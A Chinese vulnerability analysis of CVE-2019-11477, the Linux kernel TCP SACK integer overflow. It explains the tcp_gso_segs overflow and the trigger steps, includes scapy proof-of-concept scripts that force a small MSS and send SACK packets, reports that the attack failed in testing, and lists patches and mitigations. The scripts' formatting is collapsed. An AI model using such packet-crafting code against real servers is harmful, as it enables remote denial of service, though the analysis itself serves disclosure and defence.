中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何進行Linux內核中TCP協議棧整數溢出漏洞詳細分析

發布時間:2021-12-24 21:57:25 來源:億速云 閱讀:182 作者:柒染 欄目:安全技術

如何進行Linux內核中TCP協議棧整數溢出漏洞詳細分析,針對這個問題,這篇文章詳細介紹了相對應的分析和解答,希望可以幫助更多想解決這個問題的小伙伴找到更簡單易行的方法。

漏洞概述

2019年6月18日,RedHat官網發布CVE編號為CVE-2019-11477的漏洞,此漏洞是一個底層協議棧的整數溢出漏洞,影響Linux內核2.6.29及以上版本,理論上可以造成遠程拒絕服務漏洞。經過我們團隊分析驗證,在實際環境中很難觸發此漏洞,所以在實際環境中此漏洞危害沒那么大。

漏洞原理

該漏洞是一個位于skb_buff結構體上tcp_gso_segs成員的整數溢出漏洞。linux kernel數據包文以skb_buff結構體表示,內核為提升發包效率提供了NETIF_F_SG(默認開啟)、NETIF_F_ UFO等功能,當發送報文時,將會將小報文以類似分片形式累積,累積為大報文統一發送,由網卡硬件進行分片。此時報文累積最大長度為32k(x86)或者64k(powerpc)。代碼中,小報文積累隊列成員為skb_buff結構體的tcp_skb_cb對象,其中tcp_gso_segs成員是個short    unsight int類型成員,代表小報文個數。

\linux\net\ipv4\tcp.c 

if(can_coalesce) {                     skb_frag_size_add(&skb_shinfo(skb)->frags[i- 1], copy);              } else {                     get_page(page);                     skb_fill_page_desc(skb, i,page, offset, copy);              }

linux/include/linux/skbuff.h

struct tcp_skb_cb {    
__u32 seq; /* Starting sequence number*/
__u32 end_seq; /* SEQ + FIN + SYN +datalen */
       __u32 tcp_tw_isn;
struct {
u16 tcp_gso_segs;                            
               u16 tcp_gso_size;
};
               __u8 tcp_flags; /2* TCP headerflags. (tcp[13]) */

}

通常,TCP協議為避免分片帶來的性能損失,提供了mss協商機制,通過在握手過程中提供雙方mtu值,協商雙方報文的最大報文長度,發送提供各自的mss長度,雙方選取最小的mss值為最大報文長度,此后,雙方報文的最大長度將不會超過協商得出的mss值。如果要漏洞出發,發送方在握手時將mss值強制置為8(mss協商最小值為48-最大tcp報頭長度=8)。即接收方在和握手方握手時,將mss值設置為8即可。

TCP-MSS,全稱TCP maximum segment size。翻譯過來是TCP最大報文尺寸。它的值代表TCP傳輸層期望對端發送給自己單個TCP報文的最大尺寸。

TCP協議中,當TCP協議兩端在初始協商進行TCP三次握手協議的時候,主機兩端會把自己當前所在鏈路的MSS值告知對方。當一端主機收到另外一端的MSS值候,它會評估其MSS值并與自己的MSS值做對比,取最小的值來決定TCP發送的最大報文尺寸。

如何計算本地MSS值?本地MSS=MTU-20字節的標準IP頭-20字節的標準TCP頭(換個角度看其實就是TCP負載) 

另外一個相關的是linux的sack機制。在RFC的描述中,當TCP報文亂序到達時,TCP接收端會要求發送端連未能按照順序發送的報文也重新發送,為改進TCP協議的發包效率,TCP提供了sack機制(自linux kernel 2.6.29以后提供了sack機制的實現),當接收方向發送方要求重傳時,重傳報文將會進入tcp_sendmsg函數的tcp_gso_segs機制中,以分片的形式積累報文碎片,在skb_buff結構體中最多接受17個分片隊列,在惡意會話的接收過程中,接收方可以不斷地要求發送方重傳,即接受方不斷向發送方發送sack報文,發送方接收到sack報文后,將重新發送報文。

linux/include/linux/skbuff.h

defineMAX_SKB_FRAGS (65536/PAGE_SIZE + 1) => 17

此時一個skb_buff結構體最多可以由17*32*1024%8=69632個報文碎片積累而成,而69632超過了tcp_gso_segs成員(無符號短整型)的最大值65535,將導致整數溢出,最終在tcp_shifted_skb函數中觸發崩潰。

linux\net\ipv4\tcp_input.c

static bool tcp_shifted_skb (struct sock *sk, …, unsigned int pcount, ...)
{
...
tcp_skb_pcount_add(prev, pcount);
BUG_ON(tcp_skb_pcount(skb) < pcount); <= SACK panic
tcp_skb_pcount_add(skb, -pcount);

漏洞觸發步驟:

1.客戶端連接服務端(同時三次握手過程中強制設置接受mss最大值為8);

2.客戶端誘導服務端發送超長報文給客戶端,貼近最大允許長度32k;

3.客戶端不斷發送重傳要求,服務端重復發送17次報文填滿skb分片隊列,導致tcp_gso_segs變量整數溢出,導致服務器遠程拒絕服務。

漏洞驗證

要成功構造poc報文,實際需要做到以下三點:

第一:誘騙服務端發送一次性發送接近32k大小TCP報文。通過服務器下載文件時(linux內核調用tcp_sendpage不走tcp_sendmsg調用可以逼近報文極限值,需要超過31k大小,實際情況是比較罕見的),發現http服務器將客戶端get的數據合并,逼近32k大小數據下發到客戶端,這一步是可以做到的,在TCP層,tcp_sendpage函數大概率可以做到一次下發超過31k大小的報文。

while (size > 0) {
     struct sk_buff *skb = tcp_write_queue_tail(sk);
     int copy, i;
     bool can_coalesce;
 
     if (!tcp_send_head(sk) || (copy = size_goal - skb->len) <= 0 ||
          !tcp_skb_can_collapse_to(skb)) {

new_segment:

   if (!sk_stream_memory_free(sk))
         goto wait_for_sndbuf; 
         skb = sk_stream_alloc_skb(sk, 0, sk->sk_allocation,

         skb_queue_empty(&sk->sk_write_queue));
   if (!skb)
         goto wait_for_memory;
         skb_entail(sk, skb);

         copy = size_goal;
   }
    if (copy > size)
         copy = size;

    i = skb_shinfo(skb)->nr_frags;
    can_coalesce = skb_can_coalesce(skb, i, page, offset);
    if (!can_coalesce && i >= sysctl_max_skb_frags) {

         tcp_mark_push(tp, skb);
         goto new_segment;
    }

    if (!sk_wmem_schedule(sk, copy))
         goto wait_for_memory;
    if (can_coalesce) {

         skb_frag_size_add(&skb_shinfo(skb)->frags[i - 1], copy);
    } else {
         get_page(page);

         skb_fill_page_desc(skb, i, page, offset, copy);
     }

第二,將TCP報文的實際荷載設置8字節(mss設置為最小值48,TCP選項頭設置為40字節,48-40=8)。此步實際情況是不默認,正常情況下是無法協商成功,客戶端發起的mss協商,默認情況下服務端將不會認可,默認發行版linux系統都開啟TSO(TCP Segment Offload)技術,為了盡可能發揮網卡性能,網卡會不斷嘗試擴大mss的值,當我們將mss協商成功為48時,很快TSO會將mss恢復為1460.所以實際攻擊鏈條在此時已經被打斷。

如何進行Linux內核中TCP協議棧整數溢出漏洞詳細分析

而且在我們測試將服務端發給我們的TCP數據包的TCP選項頭設為40,通過要求服務端數據包附帶時間戳選項,可以使TCP選項頭擁有12字節選項長度,如果需要更長的選項頭,需要一些特殊的TCP選項,如md5選項,但TCP的md5選項需要重新編譯內核,發行版不帶md5選項:

如何進行Linux內核中TCP協議棧整數溢出漏洞詳細分析

在默認情況下我們只做到了通過客戶端設置服務端報文12字節長度的TCP選項頭長度設置:

如何進行Linux內核中TCP協議棧整數溢出漏洞詳細分析

第三,對服務端發送sack報文,指定特定報文重傳。我們在對服務端進行指定字節序列的報文重傳時發現,我們無法做到累加重傳報文,在漏洞分析中,我們提到,我們需要使重傳報文累計到超過65535導致整數溢出,但是實際測試過程中發現,TCP的重傳實在過于迅速,我們的發包速度根本不夠服務端的gso機制生效累計積累超過65535個報文,我的最大累計此時30余次,服務端收到sack后累積重傳報文,收到ack后或其余機制釋放累積。

請注意下圖的報文序號,第27個報文請求指定重傳,第28個報文重傳指定報文,29個報文立刻發送正確順序的報文,第27個報文和第29個報文直接的時間實在過于短暫,可以通過并發分布式攻擊可以做到重傳報文累計超過65535次。

如何進行Linux內核中TCP協議棧整數溢出漏洞詳細分析

其他嘗試:

由于此漏洞的主要瑕疵在于mss協商機制啟用非默認,我們曾經嘗試繞過linux kernel的mss協商機制對服務端發起進攻,嘗試使用sack報文告訴服務端我們只缺少8字節長度(報文原長48字節情況下),此時服務端回復的報文并沒有只給我們8個字節長度的報文,而是把所缺少的報文所屬的報文(48字節長度)發回給我們,繞過嘗試失敗。

如何進行Linux內核中TCP協議棧整數溢出漏洞詳細分析如何進行Linux內核中TCP協議棧整數溢出漏洞詳細分析

最終我們認定此漏洞實際危害不大。 

測試代碼

我們使用的是python的scapy庫進行偽造客戶端與服務端進行通信。

Sack部分測試代碼:

from scapy.all import *import time        i=IP()       i.dst="192.168.124.144"        t=TCP()       t.dport=8887       t.flags="S"       t.options=[('MSS',18),('SAckOK', '')]                #sr1(i/t)       SYNACK=sr1(i/t)       seq_num=int(SYNACK.seq)               # ACK        ACK=TCP(dport=8887, flags='A', seq=SYNACK.ack, ack=SYNACK.seq + 1)        send(i/ACK)        printseq_num       #SACK=TCP(dport=8887,flags='A',seq=SYNACK.ack, ack=SYNACK.seq + 1)       time.sleep(1)       SACK=TCP(dport=8887,flags='A',seq=SYNACK.ack , ack=SYNACK.seq +1+0x30*2)        #printSACK.seq        num=3       SACK.options=[('SAck',(SYNACK.seq+1+0x30*3 ,SYNACK.seq+1+0x30*4 ))]       send(i/SACK)        #whilenum<=100:        #    SACK.options=[('SAck',(seq+1+0x30+0x30*num,seq+1+0x30  +0x30*(num+1)))]        #    send(i/SACK)        #    num=num+1        #    if num==99:        #        num=3        time.sleep(500 )

Mss部分測試代碼:

from scapy.all import *import time               i=IP()       i.dst="192.168.216.145"        t=TCP()    t.sport=3333       t.dport=8887        t.flags="S"       t.options=[('MSS',48),('SAckOK', ''),('Timestamp',(111,222))]                #sr1(i/t)       SYNACK=sr1(i/t)       seq=int(SYNACK.seq)        # ACK       ACK=TCP(sport=3333, dport=8887, flags='A', seq=SYNACK.ack, ack=SYNACK.seq+ 1)       ACK.options=[('Timestamp',(222,333))]    send(i/ACK)        printACK.seq       #SACK=TCP(dport=8887,flags='A',seq=SYNACK.ack, ack=SYNACK.seq + 1)        printstr(SYNACK.ack)       SACK=TCP(dport=8887,flags='A',seq=SYNACK.ack, ack=SYNACK.seq+1+0x30)        printSACK.seq       SACK.options=[('SAck',(seq+1+0x38 ,seq+1+0x38  +0x30))]        #whileTrue:    time.sleep( 1 )       send(i/SACK)        time.sleep(500 )

漏洞修復

(1)及時更新補丁

https://github.com/Netflix/security-bulletins/blob/master/advisories/third-party/2019-001/PATCH_net_1_4.patch

Linux內核版本>=4.14需要打第二個補丁:

https://github.com/Netflix/security-bulletins/blob/master/advisories/third-party/2019-001/PATCH_net_1a.patch

(2)禁用SACK處理

echo0 > /proc/sys/net/ipv4/tcp_sack

(3)使用過濾器來阻止攻擊

https://github.com/Netflix/security-bulletins/blob/master/advisories/third-party/2019-001/block-low-mss/README.md

此緩解需要禁用TCP探測時有效(即在/etc/sysctl.conf文件中將net.ipv4.tcp_mtu_probingsysctl設置為0)

(4)RedHat用戶可以使用以下腳本來檢查系統是否存在漏洞

https://access.redhat.com/sites/default/files/cve-2019-11477--2019-06-17-1629.sh

關于如何進行Linux內核中TCP協議棧整數溢出漏洞詳細分析問題的解答就分享到這里了,希望以上內容可以對大家有一定的幫助,如果你還有很多疑惑沒有解開,可以關注億速云行業資訊頻道了解更多相關知識。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

大悟县| 吉安市| 临夏县| 通许县| 怀宁县| 文水县| 丰宁| 渑池县| 钟祥市| 娱乐| 禹州市| 门源| 黄大仙区| 海宁市| 敦煌市| 宿迁市| 安岳县| 班玛县| 新闻| 阿拉善盟| 松滋市| 威海市| 包头市| 泽州县| 朝阳市| 章丘市| 江阴市| 黄浦区| 河间市| 旬阳县| 枣阳市| 财经| 瑞金市| 乐平市| 昌江| 昭平县| 澳门| 出国| 章丘市| 丹巴县| 城步|